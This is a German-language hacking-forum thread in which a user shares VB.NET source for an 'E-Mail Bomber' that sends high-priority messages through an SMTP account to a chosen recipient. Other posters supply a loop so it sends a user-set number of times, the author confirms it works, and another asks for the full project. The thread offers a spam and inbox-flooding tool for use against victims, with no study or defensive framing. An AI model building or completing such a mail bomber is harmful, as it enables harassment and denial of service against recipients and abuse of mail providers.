[VB.Net] E-Mail Bomber Source

[Montaxx]

Ich hatte mal nen Mail Bomber gebaut, den einige vll. noch kennen
Hier habt ihr den Source Code..
ACHTUNG: Pro klick auf "Senden" = 1 E-Mail
Die funktion für 100x senden müsst ihr selber rausfinden ^^

Dim Email As New System.Net.Mail.MailMessage()

'Empfänger E-Mail Adresse

Email.[To].Add(Mail.Text)

'Absender E-Mail Adresse

Email.From = New Net.Mail.MailAddress(Absender.Text)

'Betreff

Email.Subject = Betreff.Text & DateTime.Now

Email.SubjectEncoding = System.Text.Encoding.UTF8

'Mailbody

Email.Body = acc_name.Text

Email.BodyEncoding = System.Text.Encoding.UTF8

Email.IsBodyHtml = False

'optional Priorität

Email.Priority = System.Net.Mail.MailPriority.High



'Absender Login und Passwort

Dim client As New Net.Mail.SmtpClient()

client.Credentials = New System.Net.NetworkCredential("deine-email@provider.tld", "dein-passwort-zur-e-mail")

client.Port = 587 '<------ hier smtp port von aon

client.Host = "mail.gmx.net" '<------ hier smtp server von aon

client.EnableSsl = True





'E-Mail abschicken

Dim userState As Object = Email

Try

client.SendAsync(Email, userState)

Label3.Text = Label3.Text + (" ")

Catch ex As System.Net.Mail.SmtpException

acc_name.Text = acc_name.Text + (" Fehler: " & ex.Message)
End Try

[DeXTer]

For i as integer = 1 to andere zahl

email senden

[Montaxx]

und wo muss ich das einfügen ?

sagen wir mal, ich geb in Textbox "Anzahl" eine 12 ein, wie mach ich dann, dass er 12x sendet ?

[CYSER]

anzahl = textbox.text

For i as integer = 1 to anzahl
Deinefunktion starten
Next ' ist das ende

[Montaxx]

Edit: Hat sich geklärt, funktioniert jetzt

[Burn0ut]

thy 4 post Montaxx aber villt kannste mal den ganzen ordner davon uppen